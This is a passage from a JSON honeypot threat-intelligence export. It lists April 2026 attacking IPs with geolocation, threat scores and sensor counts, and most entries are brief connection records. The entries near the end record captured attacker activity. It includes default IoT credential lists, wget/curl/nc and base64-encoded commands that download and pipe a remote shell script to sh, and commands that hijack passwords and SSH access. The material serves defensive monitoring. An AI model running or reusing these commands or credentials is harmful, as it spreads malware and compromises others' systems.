        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T22:39:54.966000+00:00",
        "last_seen_30d": "2026-04-07T22:41:09.635000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "14.44.32.95": {
      "attack_count": 2,
      "first_seen": "2026-04-09T05:23:29.109Z",
      "last_seen": "2026-04-09T05:23:42.533Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Busan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T05:23:29.109000+00:00",
        "last_seen_30d": "2026-04-09T05:24:51.557000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "141.224.196.79": {
      "attack_count": 2,
      "first_seen": "2026-04-01T10:46:06.630Z",
      "last_seen": "2026-04-01T10:46:19.691Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Almelo",
      "asn": 15435,
      "as_org": "DELTA Fiber Nederland B.V.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T10:46:06.630000+00:00",
        "last_seen_30d": "2026-04-01T10:47:27.326000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "154.144.243.138": {
      "attack_count": 2,
      "first_seen": "2026-04-25T04:11:46.745Z",
      "last_seen": "2026-04-25T04:11:46.746Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-25T04:11:46.745000+00:00",
        "last_seen_30d": "2026-04-25T04:13:26.278000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "160.119.76.13": {
      "attack_count": 2,
      "first_seen": "2026-04-03T05:04:07.649Z",
      "last_seen": "2026-04-03T05:04:12.649Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 164,
        "days_active_30d": 5,
        "ports_targeted_30d": 73,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T00:27:31+00:00",
        "last_seen_30d": "2026-04-05T13:20:50.191000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 137,
        "Honeytrap": 21,
        "ConPot": 2,
        "Cowrie": 2,
        "Dionaea": 1,
        "Miniprint": 1
      }
    },
    "172.105.179.185": {
      "attack_count": 2,
      "first_seen": "2026-04-30T18:40:20.091Z",
      "last_seen": "2026-04-30T18:40:20.092Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T18:40:20.091000+00:00",
        "last_seen_30d": "2026-04-30T18:41:20.939000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "175.10.73.79": {
      "attack_count": 2,
      "first_seen": "2026-04-28T12:20:38.898Z",
      "last_seen": "2026-04-28T12:20:51.119Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T12:20:38.898000+00:00",
        "last_seen_30d": "2026-04-28T12:21:58.916000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.178.209.245": {
      "attack_count": 2,
      "first_seen": "2026-04-11T12:15:00.604Z",
      "last_seen": "2026-04-11T12:15:06.252Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9269,
      "as_org": "Hong Kong Broadband Network Ltd.",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T12:15:00.604000+00:00",
        "last_seen_30d": "2026-04-11T12:16:11.743000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "183.94.33.160": {
      "attack_count": 2,
      "first_seen": "2026-04-30T20:07:24.589Z",
      "last_seen": "2026-04-30T20:09:24.604Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T20:07:24.589000+00:00",
        "last_seen_30d": "2026-04-30T20:19:29.503000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "191.84.66.43": {
      "attack_count": 2,
      "first_seen": "2026-04-02T11:58:43.719Z",
      "last_seen": "2026-04-02T11:58:57.124Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 22927,
      "as_org": "Telefonica de Argentina",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T11:58:43.719000+00:00",
        "last_seen_30d": "2026-04-02T12:00:02.340000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "194.233.86.176": {
      "attack_count": 2,
      "first_seen": "2026-04-30T16:18:07.557Z",
      "last_seen": "2026-04-30T16:18:38.172Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 141995,
      "as_org": "Contabo Asia Private Limited",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T16:18:07.557000+00:00",
        "last_seen_30d": "2026-04-30T16:19:40.690000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "194.88.98.91": {
      "attack_count": 2,
      "first_seen": "2026-04-10T21:24:46.228Z",
      "last_seen": "2026-04-10T21:24:46.605Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 6.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 8,
        "ports_targeted_30d": 60,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T18:43:49+00:00",
        "last_seen_30d": "2026-04-10T21:25:49.573000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 104,
        "Honeytrap": 40,
        "Cowrie": 2
      }
    },
    "196.189.245.105": {
      "attack_count": 2,
      "first_seen": "2026-04-28T20:37:24.423Z",
      "last_seen": "2026-04-28T20:39:24.525Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T20:37:24.423000+00:00",
        "last_seen_30d": "2026-04-28T20:50:05.070000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.235.24.179": {
      "attack_count": 2,
      "first_seen": "2026-04-03T15:58:44.153Z",
      "last_seen": "2026-04-03T15:59:16.048Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 29,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-02T02:58:58+00:00",
        "last_seen_30d": "2026-04-30T17:20:33.623000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 33,
        "Miniprint": 10,
        "ConPot": 2,
        "Cowrie": 2,
        "Sentrypeer": 2,
        "Dionaea": 1
      }
    },
    "202.70.139.119": {
      "attack_count": 2,
      "first_seen": "2026-04-12T14:44:24.210Z",
      "last_seen": "2026-04-12T14:44:36.615Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T14:44:24.210000+00:00",
        "last_seen_30d": "2026-04-12T14:45:42.939000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "223.123.72.52": {
      "attack_count": 2,
      "first_seen": "2026-04-17T01:12:22.679Z",
      "last_seen": "2026-04-17T01:12:35.023Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 59257,
      "as_org": "CMPak Limited",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T01:12:22.679000+00:00",
        "last_seen_30d": "2026-04-17T01:13:43.952000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "23.252.134.48": {
      "attack_count": 2,
      "first_seen": "2026-04-12T11:53:18.822Z",
      "last_seen": "2026-04-12T11:53:32.306Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Barbourville",
      "asn": 13351,
      "as_org": "Barbourville Utility Commission",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T11:53:18.822000+00:00",
        "last_seen_30d": "2026-04-12T11:54:38.202000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.162.205.108": {
      "attack_count": 2,
      "first_seen": "2026-04-17T08:47:31.192Z",
      "last_seen": "2026-04-17T08:48:02.806Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T08:47:31.192000+00:00",
        "last_seen_30d": "2026-04-17T08:50:13.155000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2
      }
    },
    "82.147.84.47": {
      "attack_count": 2,
      "first_seen": "2026-04-11T18:46:52.150Z",
      "last_seen": "2026-04-11T18:47:23.298Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 211860,
      "as_org": "Nerushenko Vyacheslav Nikolaevich",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T18:46:52.150000+00:00",
        "last_seen_30d": "2026-04-11T18:48:33.423000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "96.46.31.47": {
      "attack_count": 2,
      "first_seen": "2026-04-02T02:19:05.182Z",
      "last_seen": "2026-04-02T02:19:36.958Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "East Wenatchee",
      "asn": 13370,
      "as_org": "Ziply Fiber",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T02:19:05.182000+00:00",
        "last_seen_30d": "2026-04-02T02:20:42.659000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.205.1.8": {
      "attack_count": 879,
      "first_seen": "2026-04-04T18:56:28.803Z",
      "last_seen": "2026-04-11T17:51:18.638Z",
      "sessions": 222,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "guest",
        "busybox echo xPROBEx",
        "echo xPROBEx",
        "oracle",
        "ubnt",
        "user",
        "666666",
        "888888",
        "Administrator",
        "admin1",
        "administrator",
        "debug",
        "default",
        "factory",
        "ffadmin",
        "mg3500",
        "mother",
        "service"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "",
        "1234",
        "12345",
        "123456",
        "888888",
        "root",
        "user",
        "1111",
        "54321",
        "666666",
        "7ujMko0admin",
        "default",
        "pass",
        "system",
        "vizxv",
        "xc3511",
        "/bin/echo xPROBEx",
        "00000000"
      ],
      "commands_executed": [
        "wget -qO- http://196.251.107.133/bins/sin.sh",
        "PATH=/bin:/sbin:/usr/bin:/usr/sbin;cd /tmp||cd /var/tmp||cd /dev/shm;wget -qO- http://196.251.107.133/bins/sin.sh|sh",
        "PATH=/bin:/sbin:/usr/bin:/usr/sbin;cd /tmp||cd /var/tmp||cd /dev/shm;busybox wget -T 9 -qO- http://196.251.107.133/bins/sin.sh|sh &",
        "PATH=/bin:/sbin:/usr/bin:/usr/sbin;cd /tmp||cd /var/tmp||cd /dev/shm;busybox wget -qO- http://196.251.107.133/bins/sin.sh|sh &",
        "PATH=/bin:/sbin:/usr/bin:/usr/sbin;cd /tmp||cd /var/tmp||cd /dev/shm;cd /var/run||cd /mnt||cd /root||cd /;busybox curl -L http://196.251.107.133/bins/sin.sh|sh &",
        "PATH=/bin:/sbin:/usr/bin:/usr/sbin;cd /tmp||cd /var/tmp||cd /dev/shm;cd /var/run||cd /mnt||cd /root||cd /;curl -fsSL -o .s http://196.251.107.133/bins/sin.sh;sh .s &",
        "PATH=/bin:/sbin:/usr/bin:/usr/sbin;cd /tmp||cd /var/tmp||cd /dev/shm;cd /var/run||cd /mnt||cd /root||cd /;nc 196.251.107.133 3345 >.s;sh .s &",
        "PATH=/bin:/sbin:/usr/bin:/usr/sbin;cd /tmp||cd /var/tmp||cd /dev/shm;cd /var/run||cd /mnt||cd /root||cd /;wget -O .s http://196.251.107.133/bins/sin.sh;chmod 777 .s;sh .s &",
        "PATH=/bin:/sbin:/usr/bin:/usr/sbin;cd /tmp||cd /var/tmp||cd /dev/shm;sh -c 'curl -fsSL http://196.251.107.133/bins/sin.sh|sh' &",
        "PATH=/bin:/sbin:/usr/bin:/usr/sbin;cd /tmp||cd /var/tmp||cd /dev/shm;sh -c 'wget -qO- http://196.251.107.133/bins/sin.sh|sh' &",
        "PATH=/bin:/sbin:/usr/bin:/usr/sbin;cd /tmp||cd /var/tmp||cd /dev/shm;wget -O- http://196.251.107.133/bins/sin.sh|sh &",
        "PATH=/bin:/sbin:/usr/bin:/usr/sbin;cd /tmp||cd /var/tmp||cd /dev/shm;wget -T 9 -qO- http://196.251.107.133/bins/sin.sh|sh &",
        "PATH=/bin:/sbin:/usr/bin:/usr/sbin;cd /tmp||cd /var/tmp||cd /dev/shm;wget -qO- http://196.251.107.133/bins/sin.sh|sh &",
        "base64 -d",
        "curl -L http://196.251.107.133/bins/sin.sh",
        "curl -fsSL http://196.251.107.133/bins/sin.sh|sh &",
        "curl: option -L not recognized\ncurl: try 'curl --help' or 'curl --manual' for more information\n",
        "curl: option -L not recognized curl: try curl --help or curl --manual for more information",
        "curl: option -f not recognized\ncurl: try 'curl --help' or 'curl --manual' for more information\n",
        "curl: option -f not recognized curl: try curl --help or curl --manual for more information",
        "echo UEFUSD0vYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjtjZCAvdG1wfHxjZCAvdmFyL3RtcHx8Y2QgL2Rldi9zaG07d2dldCAtcU8tIGh0dHA6Ly8xOTYuMjUxLjEwNy4xMzMvYmlucy9zaW4uc2h8c2g=|base64 -d|sh &",
        "echo UEFUSD0vYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjtjZCAvdG1wfHxjZCAvdmFyL3RtcHx8Y2QgL2Rldi9zaG07d2dldCAtcU8tIGh0dHA6Ly8xOTYuMjUxLjEwNy4xMzMvYmlucy9zaW4uc2h8c2g=|busybox base64 -d|sh &",
        "test -x /bin/bash",
        "test -x /bin/busybox",
        "test -x /bin/curl",
        "test -x /bin/ftpget",
        "test -x /bin/nc",
        "test -x /bin/netcat",
        "test -x /bin/tftp",
        "test -x /bin/wget"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.session.file_download",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.success",
        "cowrie.log.closed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215925,
      "as_org": "Vpsvault.host Ltd",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3106,
        "days_active_30d": 30,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T05:58:40+00:00",
        "last_seen_30d": "2026-04-30T22:44:15.994000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1227,
        "Cowrie": 879,
        "Adbhoney": 858,
        "Honeytrap": 114,
        "H0neytr4p": 19,
        "Tanner": 7,
        "Ciscoasa": 2
      }
    },
    "103.210.21.242": {
      "attack_count": 698,
      "first_seen": "2026-04-06T21:41:30.454Z",
      "last_seen": "2026-04-30T03:33:09.723Z",
      "sessions": 93,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "deploy",
        "dev",
        "develop",
        "git",
        "hduser",
        "postgres",
        "server",
        "test",
        "testa",
        "user",
        "admin123",
        "admin2",
        "administrator",
        "afcadmin",
        "docker",
        "frappe"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "a",
        "password",
        "test",
        "!qaz@wsx",
        "00000000",
        "12345",
        "123456789",
        "123456aaa",
        "1q2w3e4r",
        "1qaz2wsx",
        "54321",
        "88888888",
        "A1234567a",
        "Admin123",
        "Admin123#@!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"00000000\\n9ASVfdRYNRbD\\n9ASVfdRYNRbD\\n\"|passwd",
        "echo \"frappe25!\\nL1QsGnIu000E\\nL1QsGnIu000E\\n\"|passwd",
        "echo \"root:5tARqop74vyq\"|chpasswd|bash",
        "echo \"testa\\niuCaqENgfef7\\niuCaqENgfef7\\n\"|passwd",
        "echo -e \"00000000\\n9ASVfdRYNRbD\\n9ASVfdRYNRbD\"|passwd|bash",
        "echo -e \"frappe25!\\nL1QsGnIu000E\\nL1QsGnIu000E\"|passwd|bash",
        "echo -e \"testa\\niuCaqENgfef7\\niuCaqENgfef7\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 62.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.6,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 905,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T21:41:30.454000+00:00",
        "last_seen_30d": "2026-04-30T03:34:17.068000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 698,
        "Suricata": 207
      }
    },
    "216.189.157.132": {
      "attack_count": 603,
      "first_seen": "2026-04-15T16:01:47.221Z",
      "last_seen": "2026-04-25T23:26:27.221Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "ftpuser2",
        "jeus",
        "newftpuser",
        "admin",
        "developer",
        "es",
        "ftp-user",
        "odoo",
        "oracle",
        "public",
        "sammy",
        "steam",
        "test",
        "test12",
        "test_user1",
        "tester",
        "tommy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
